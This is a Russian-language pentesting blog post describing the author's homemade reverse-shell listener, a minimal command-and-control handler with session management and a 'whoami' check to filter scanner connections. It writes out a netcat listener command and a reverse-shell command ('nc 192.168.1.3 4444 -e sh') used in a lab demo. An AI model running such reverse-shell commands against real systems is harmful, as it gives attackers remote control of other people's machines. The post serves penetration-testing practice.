netcat для пентеста или обзор утилиты LISTENER
Ку, киберпанки! Недавно, у меня был кейс связанный с бэк-коннектом. Данный бэ-коннект я получал используя обычный реверс шелл. Ну, как бы да. Казалось бы запустил netcat на прослушку nc -lvnp 4444
или используй metasploit для этого. Однако, есть ряд проблем связанные с этим способом:
- Челики, которые пытаюся ломануть твою ВПС. Из-за этого появляется ложный коннект и отлетает подключение
- Много коннектов и не понятно какой ложный, отсюда теряется оперативность
Как альтернативу, можно использовать pwncat. И это реально крутая тулза для пентестов, потому что много чего умеет, но для решения своих задач мне это не нужно.
Мотивация для написания своей тулзы такая:
Иными словами, хотел сделать очень, очень жалкую пародиб на C2 и вот результат.
Обзор оболочки
Писал утилиту на Python и для удобства скомпилил её с помощью PyInstaller . Главное меню программы выглядит так:
Представлены все команды, которые может выполнять оболочка LISTENER и на самом деле этого вполне достаточно для работы.
create <ip> <port>
- команда для создания листенера. Разумеется, что ip - это адрес пывнера, а port - это порт для прослушиванияlist
- команда для просмотра коннектов. В данной таблице написан ID коннекта, ip-адрес пывнера и ip-адрес жертвыuse <id>
- команда необходимая для подключения к сессии. Используется ID, который указан вlist
kill <id>
- команда необходимая для завершения сессии. Используется ID, который указан вlist
Для удобства ввода команд добавлена табуляция с автодополнением
Ниже приведён пример использования команды create
:
Вывод команды говорит о том, что прослушка запустилась. Теперь оформлю реверс шелл командой nc 192.168.1.3 4444 -e sh
и получу информацию о коннекте:
Вот и получение информации о том, что есть подключение. На скрине видно, что отправляю команду whoami
. Короче говоря, это нужно как раз таки для защиты от сканов. Я считаю, что эта команда довольно таки универсальная и есть в каждой системе. Если ответ не поступил в течении 10 секунд, то подключение ложное. Дальше происходит прерывание сессии и открытие порта по поновой.
Когда появилось уведомление о подключении лучше всего сделать так: нажать Enter, потом ввести exit, а дальше использовать команду use ID. Иными словами закрыть инерактивную оболочку и потом снова к ней подключиться. Так работает лучше.
На скрине виден результат работы команды list
и use
. Дальше я убью этот конект командой kill ID
:
Для примера откроем порт 1337 и запустим nmap
командой nmap 192.168.1.3 -p 1337
и посмотрим, что выдаст LISTENER:
Думаю, что этот скрин доказывает, что можно попробовать противостоять сканам. Однако, это метод максимально простой и естественно это нужно дорабатывать.
Теперь протестируем на Windows. Откроем порт 8080 и на Windows запущу реверс шелл:
Теперь подключусь к Linux (ID dfcf839b
):
Дальше ввожу exit
и переключаюсь на Windows (ID dbd494e9
):
На этом всё. Исходный код и скомпиленную прогу можно найти на канале K0N70R4.